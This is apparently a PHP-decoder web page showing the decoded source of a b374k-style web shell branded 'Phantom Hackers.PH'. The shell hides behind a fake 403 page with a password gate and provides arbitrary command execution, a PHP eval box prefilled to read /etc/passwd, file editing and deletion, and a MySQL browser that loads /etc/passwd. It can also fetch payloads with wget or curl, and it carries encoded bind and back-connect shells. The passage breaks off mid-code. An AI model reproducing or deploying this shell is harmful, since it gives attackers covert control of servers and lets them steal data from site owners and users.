Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* online encode by cha88.cn! */ eval(gzinflate(base64_decode('HJ3HjuNckkb3/S..

Decoded Output download

?><?php

error_reporting(0);
@set_time_limit(0);
@session_start();
// configuration
$xSoftware = trim(getenv("SERVER_SOFTWARE"));
// server name
$xServerName = $_SERVER["HTTP_HOST"];
$xName = "sund4nyM0uz";
$masukin = "95a279b8693d90150523190208eef721";  //change you password (hash md5) 
$nikmatin = (md5($_POST['pass']));
$crotzz = 1;  // ' 0 '  no login pass
if($nikmatin == $masukin){
	$_SESSION['login'] = "$nikmatin";
}
if($crotzz){
	if(!isset($_SESSION['login']) or $_SESSION['login'] != $masukin){
		die("
	
<html>
  <head>
    <title>403 Forbidden</title>
    <style type=\"text/css\">
	input{
	margin:0;
	background-color:#fff;
	border:1px solid #fff;
	}
    </style>
   <H1>Forbidden</H1>
  </head>
  <body>
<p>You don't have permission to access on this server.</P>
<hr>
<address>".trim(getenv("SERVER_SOFTWARE"))." Server at ".$_SERVER['HTTP_HOST']."  Port 80</address>
	<center><form method=\"post\">
        <input type=\"password\" name=\"pass\">
      </form></center>
  </body>
</html>
            ");
    }
}

if(isset($_GET['dl']) && ($_GET['dl'] != "")){ $file = $_GET['dl']; $filez = @file_get_contents($file); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($filez)); header("Content-disposition: attachment; filename=\"".basename($file)."\";"); echo $filez; exit; } elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){ $file = $_GET['dlgzip']; $filez = gzencode(@file_get_contents($file)); header("Content-Type:application/x-gzip
"); header("Content-length: ".strlen($filez)); header("Content-disposition: attachment; filename=\"".basename($file).".gz\";"); echo $filez; exit; } if(isset($_GET['img'])){ @ob_clean(); $d = magicboom($_GET['y']); $f = $_GET['img']; $inf = @getimagesize($d.$f); $ext = explode($f,"."); $ext = $ext[count($ext)-1]; @header("Content-type: ".$inf["mime"]); @header("Cache-control: public"); @header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); @header("Cache-control: max-age=".(60*60*24*7)); @readfile($d.$f); exit; } $ver = "1.01"; $software = getenv("SERVER_SOFTWARE"); $xNamex = base64_decode("TWFuZyBhajA=");$xramex = base64_decode("OjogYjM3NGsgcjNjMGRlZCBieSA=");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
 $system = @php_uname(); if(strtolower(substr($system,0,3)) == "win") $win = TRUE; else $win = FALSE; if(isset($_GET['y'])){ if(@is_dir($_GET['view'])){ $pwd = $_GET['view']; @chdir($pwd); } else{ $pwd = $_GET['y']; @chdir($pwd); } } if(!$win){ if(!$user = rapih(exe("whoami"))) $user = ""; if(!$id = rapih(exe("id"))) $id = ""; $prompt = $user." \$ "; $pwd = @getcwd().DIRECTORY_SEPARATOR; } else { $user = @get_current_user(); $id = $user; $prompt = $user." >"; $pwd = realpath(".")."\"; $v = explode("\",$d); $v = $v[0]; foreach (range("A","Z") as $letter) { $bool = @is_dir($letter.":\"); if ($bool) { $letters .= "<a href=\"?y=".$letter.":\">[ "; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "<span class=\"gaya\">".$letter."</span>";} $letters .= " ]</a> "; } } } if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE; $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]); $my_ip = $_SERVER['REMOTE_ADDR']; $bindport = "13123"; $bindport_pass = "b374k"; $pwds = explode(DIRECTORY_SEPARATOR,$pwd); $pwdurl = ""; for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){ $pathz = ""; for($j = 0 ; $j <= $i ; $j++){ $pathz .= $pwds[$j].DIRECTORY_SEPARATOR; } $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>"; } if(isset($_POST['rename'])){ $old = $_POST['oldname']; $new = $_POST['newname']; @rename($pwd.$old,$pwd.$new); $file = $pwd.$new; } $buff = $software."<br />"; $buff .= $system."<br />"; if($id != "") $buff .= $id."<br />"; $buff .= "server ip : ".$server_ip." <span class=\"gaya\">|</span> your ip : ".$my_ip."<br />"; if($safemode) $buff .= "safemode <span class=\"gaya\">ON</span><br />"; else $buff .= "safemode <span class=\"gaya\">OFF<span><br />"; 
  if(''==($df=@ini_get('disable_functions')))$buff .= "Disable_functions :<span class=\"df\">NONE</span><br />"; else $buff .= "Disable_functions : <span class=\"df\">$df<br />";
  $buff .= "server info : </font>[ <a href='http://bing.com/search?q=ip:".$server_ip."&go=&form=QBLH&filt=all' target=\"_blank\">Bing Search</a> ] <span class=\"gaya\">|</span> [ <a href='http://zone-h.org/archive/ip=".$server_ip."' target=\"_blank\">Zone-H</a> ] <span class=\"gaya\">|</span> [ <a href='http://www.hack-db.com/ip_".$server_ip.".html' target=\"_blank\">hack-db</a> ]<br />";
   $buff .= $letters."&nbsp;Dir :&nbsp;".$pwdurl; function rapih($text){ return trim(str_replace("<br />","",$text)); } function magicboom($text){ if (!get_magic_quotes_gpc()) { return $text; } return stripslashes($text); } function showdir($pwd,$prompt){ $fname = array(); $dname = array(); if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE; $user = "????:????"; if($dh = opendir($pwd)){ while($file = readdir($dh)){ if(is_dir($file)){ $dname[] = $file; } elseif(is_file($file)){ $fname[] = $file; } } closedir($dh); } sort($fname); sort($dname); $path = @explode(DIRECTORY_SEPARATOR,$pwd); $tree = @sizeof($path); $parent = ""; $buff = " <form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\"> <table class=\"cmdbox\" style=\"width:50%;\"> <tr><td>$prompt</td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:300px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form> <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <tr><td>view file/folder</td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:300px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form></table><table class=\"explore\"> <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr> "; if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; else $parent = $pwd; foreach($dname as $folder){ if($folder == ".") { if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($pwd)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\"><a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" /> </form></td></tr> "; } elseif($folder == "..") { if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $buff .= "<tr><td><a href=\"?y=".$parent."\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($parent)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td><td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" /> </form> </td></tr>"; } else { if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\">[ $folder ]</a> <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" /> </form> <td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($pwd.$folder)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>"; } } foreach($fname as $file){ $full = $pwd.$file; if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\">$file</a> <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" /> </form> </td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($full)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td> <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>"; } $buff .= "</table>"; return $buff; } function ukuran($file){ if($size = @filesize($file)){ if($size <= 1024) return $size; else{ if($size <= 1024*1024) { $size = @round($size / 1024,2);; return "$size kb"; } else { $size = @round($size / 1024 / 1024,2); return "$size mb"; } } } else return "???"; } function exe($cmd){ if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result){ $buff .= $result; } return $buff; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('shell_exec')){ $buff = @shell_exec($cmd); return $buff; } } function tulis($file,$text){ $textz = gzinflate(base64_decode($text)); if($filez = @fopen($file,"w")) { @fputs($filez,$textz); @fclose($file); } } function ambil($link,$file) { if($fp = @fopen($link,"r")){ while(!feof($fp)) { $cont.= @fread($fp,1024); } @fclose($fp); $fp2 = @fopen($file,"w"); @fwrite($fp2,$cont); @fclose($fp2); } } function which($pr){ $path = exe("which $pr"); if(!empty($path)) { return trim($path); } else { return trim($pr); } } function download($cmd,$url){ $namafile = basename($url); switch($cmd) { case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break; case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break; case 'wfread' : ambil($wurl,$namafile);break; case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break; case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break; case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break; case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break; default: break; } return $namafile; } function get_perms($file) { if($mode=@fileperms($file)){ $perms=''; $perms .= ($mode & 00400) ? 'r' : '-'; $perms .= ($mode & 00200) ? 'w' : '-'; $perms .= ($mode & 00100) ? 'x' : '-'; $perms .= ($mode & 00040) ? 'r' : '-'; $perms .= ($mode & 00020) ? 'w' : '-'; $perms .= ($mode & 00010) ? 'x' : '-'; $perms .= ($mode & 00004) ? 'r' : '-'; $perms .= ($mode & 00002) ? 'w' : '-'; $perms .= ($mode & 00001) ? 'x' : '-'; return $perms; } else return "??????????"; } function clearspace($text){ return str_replace(" ","_",$text); } $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jv f+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQr?J EP/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41Z ZdKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6V L3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVK?u gUq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpX kHDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J?4 WtyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsU LZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYu?k 6uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf"; $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr 1NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzf?w gtNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQk De/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM 0LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRr?V ovaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjG B+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8="; $back_connect="fZFRS8MwF IXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0StktGB8aihs prPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28jS2whVulCf lCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZja3ImclYa gh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92 +rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw=="; $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29r WhyEzc+Z2TjpSserABYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl9?5 /3Wa43fpotyCABR95zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vK C1rI6wgSmN/niYb75i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVC nim7a/ZuJC0JTwf3ARkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlx iuPB3E0/gXejiHMcYjwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3X Ie1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw=="; 
 



?> 
<html><head><title>403 Forbidden</title> <script type="text/javascript"> function tukar(lama,baru){ document.getElementById(lama).style.display = 'none'; document.getElementById(baru).style.display = 'block'; } </script> <style type="text/css"> 
body{ background:#000000; } a { text-decoration:none; } a:hover{
	border-bottom-width: 1px;
	border-bottom-style: solid;
	border-bottom-color: #990000;
} *{ font-size:11px; font-family:Tahoma,Verdana,Arial; color:#FFFFFF; } #menu{
	margin-top: 8px;
	margin-right: 6px;
	margin-bottom: 2px;
	margin-left: 2px;
	background-color: #990000;
	height: 24px;
} #menu a{
	margin:0;
	background:#222222;
	text-decoration:none;
	letter-spacing:2px;
	font-family: tahoma, verdana, Arial;
	color: #CC0000;
	padding-top: 4px;
	padding-right: 12px;
	padding-bottom: 6px;
	padding-left: 18px;
} #menu a:hover{ background:#191919; border-bottom:1px solid #333333; border-top:1px solid #333333; } .tabnet{
	margin:15px auto 0 auto;
	border: 1px solid #333333;
	color: #FFCC00;
} .main {
	width:97%;
	margin:30px auto 10px;
	padding:10px 10px 5px 10px;
	border-radius:5px;
-moz-border-radius:5px; -moz-box-shadow:0px 0px 10px #990000; -webkit-box-shadow:0px 0px 5px #990000;	background-color: #000000;
} 
.domain {
	color: #CC0000;
	border: 1px solid #990000;
}
.gaya { color: #CC0000; }
.df {
	color: #CC0000;
	font-family: tahoma, verdana, Arial;
}
 .gaya a { color: #CC0000; } .inputz{ background:#111111; border:0; padding:2px; border-bottom:1px solid #222222; border-top:1px solid #222222; } .inputzbut{ background:#111111; color:#CC0000; margin:0 4px; border:1px solid #444444; cursor:pointer;} .inputz:hover, .inputzbut:hover{ border-bottom:1px solid #CC0000; border-top:1px solid #CC0000; } .output { margin:auto; border:1px solid #CC0000; width:100%; height:400px; background:#000000; padding:0 2px; } .cmdbox{ width:100%; } .head_info{ padding: 0 4px; } .b1{ font-size:30px; padding:0; color:#444444; } .b2{ font-size:30px; padding:0; color: #333333; } .b_tbl{ text-align:center; margin:0 4px 0 0; padding:0 4px 0 0; border-right:1px solid #333333; } .phpinfo table{ width:100%; padding:0 0 0 0; } .phpinfo td{ background:#111111; color:#cccccc; padding:6px 8px;; } .phpinfo th, th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; } .phpinfo h2, .phpinfo h2 a{ text-align:center; font-size:16px; padding:0; margin:30px 0 0 0; background:#222222; padding:4px 0; } .explore{ width:100%; } .explore a { text-decoration:none; } .explore td{ border-bottom:1px solid #333333; padding:0 8px; line-height:24px; } .explore th{ padding:3px 8px; font-weight:normal; } .explore th:hover , .phpinfo th:hover{ border-bottom:1px solid #CC0000; } .explore tr:hover{
	cursor:pointer;
	background-color: #990000;
} .viewfile{ background:#EDECEB; color:#000000; margin:4px 2px; padding:8px; } .sembunyi{ display:none; padding:0;margin:0;} .info{ background:#111111; width:99%; padding:5px; margin:10px auto 5px; text-align:center; font-size:13px;} .info a{ font-size:14px;} .info span{ font-size:14px;} .jaya{ margin:5px; text-align:right; }
</style> 
</head> <body onLoad="document.getElementById('cmd').focus();"> <div class="main"> <!-- head info start here --> <div class="head_info"> <table>
  <tr> <td rowspan="2"><table class="b_tbl"><tr><td><a href="?"><span class="b1"><img src="http://i1350.photobucket.com/albums/p761/khalifax/oie_transparent3_zps88f2b9a1.png" width="260" height="100" border="0"></span></a></td>
  </tr><tr>
    <td><span class="gaya">Phantom Hackers.PH</span></td>
  </tr></table></td> <td><?php echo $buff; ?><br/></td> 
  </tr>
  <tr>
    
  </tr>
</table> 
</div> <!-- head info end here -->

 <!-- menu start --> <div id="menu"> <a href="?<?php echo "y=".$pwd; ?>">explore</a> <a href="?<?php echo "y=".$pwd; ?>&x=shell">shell</a> <a href="?<?php echo "y=".$pwd; ?>&x=php">eval</a> <a href="?<?php echo "y=".$pwd; ?>&x=mysql">mysql</a> <a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">phpinfo</a> <a href="?<?php echo "y=".$pwd; ?>&x=netsploit">netsploit</a> <a href="?<?php echo "y=".$pwd; ?>&x=upload">upload</a> <a href="?<?php echo "y=".$pwd; ?>&x=jumping">jumping</a> <a href="?<?php echo "y=".$pwd; ?>&x=symlink">symlink</a>
 
  <a href="?<?php echo "y=".$pwd; ?>&x=localdomain">Domain</a>
  <a href="?<?php echo "y=".$pwd; ?>&x=bypass">bypass</a>
   <a href="?<?php echo "y=".$pwd; ?>&x=zone-h">zone-h</a>
  </div> 
  
  
  <!-- menu end -->
  <!-- menu2 start --> 
  
  <div id="menu"><a onClick="window.open('http://networktools.nl/reverseip/actionhandler&toolAction=toolReverseIP&toolInput=<?php echo $_SERVER ['SERVER_ADDR']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://networktools.nl/reverseip/actionhandler&toolAction=toolReverseIP&toolInput=<?php echo $_SERVER ['SERVER_ADDR']; ?>">Site list</a>
   <a href="?<?php echo "y=".$pwd; ?>&x=python">python</a>
   <a href="?<?php echo "y=".$pwd; ?>&x=cgi">Cgi Shell</a>
   <a href="?<?php echo "y=".$pwd; ?>&x=massbrowsersploit">Mass code Injection</a>
  
    <a href="?<?php echo "y=".$pwd; ?>&x=config">Config shell</a>
     <a href="?<?php echo "y=".$pwd; ?>&x=wp">Wordpress</a>
	 <a href="?<?php echo "y=".$pwd; ?>&x=joomla">Joomla</a>
	 <a href="?<?php echo "y=".$pwd; ?>&x=vb">Vb</a>
	  <a href="?<?php echo "y=".$pwd; ?>&x=safemode">safemode</a>
	 <a href="?<?php echo "y=".$pwd; ?>&x=logout">logout</a> 
   </div> <!-- menu2 end -->



 <?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?> <form action="?y=<?php echo $pwd; ?>&x=php" method="post"> <table class="cmdbox"> <tr><td> <textarea class="output" name="cmd" id="cmd"> <?php if(isset($_POST['submitcmd'])) { echo eval(magicboom($_POST['cmd'])); } else echo "echo file_get_contents('/etc/passwd');"; ?> </textarea> <tr><td><input style="width:6%;margin:0px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form> </table> </form> <?php }

 elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){ if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){ $sqlhost = $_GET['sqlhost']; $sqluser = $_GET['sqluser']; $sqlpass = $_GET['sqlpass']; $sqlport = $_GET['sqlport']; if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){ $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">"; $msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport; $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-></span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;\">[ databases ]</a>"; if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-></span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>"; if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-></span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>"; $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>"; $msg .= "</div>"; echo $msg; if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){ $db = $_GET['db']; $query = "DROP TABLE IF EXISTS b374k_table;
CREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );
LOAD DATA INFILE \"/etc/passwd\"
INTO TABLE b374k_table;SELECT * FROM b374k_table;
DROP TABLE IF EXISTS b374k_table;"; $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $tables = array(); $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>"; $hasil = @mysql_list_tables($db,$con); while(list($table) = @mysql_fetch_row($hasil)){ @array_push($tables,$table); } @sort($tables); foreach($tables as $table){ $msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."\">$table</a></td></tr>"; } $msg .= "</table>"; } elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){ $db = $_GET['db']; $table = $_GET['table']; $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;"; $msgq = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <input type=\"hidden\" name=\"table\" value=\"".$table."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $columns = array(); $msg = "<table class=\"explore\" style=\"width:99%;\">"; $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table); while(list($column) = @mysql_fetch_row($hasil)){ $msg .= "<th>$column</th>"; $kolum = $column; } $msg .= "</tr>"; $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table); list($total) = mysql_fetch_row($hasil); if(isset($_GET['z'])) $page = (int) $_GET['z']; else $page = 1; $pagenum = 100; $totpage = ceil($total / $pagenum); $start = (($page - 1) * $pagenum); $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum); while($datas = @mysql_fetch_assoc($hasil)){ $msg .= "<tr>"; foreach($datas as $data){ if(trim($data) == "") $data = "&nbsp;"; $msg .= "<td>$data</td>"; } $msg .= "</tr>"; } $msg .= "</table>"; $head = "<div style=\"padding:10px 0 0 6px;\"> <form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input 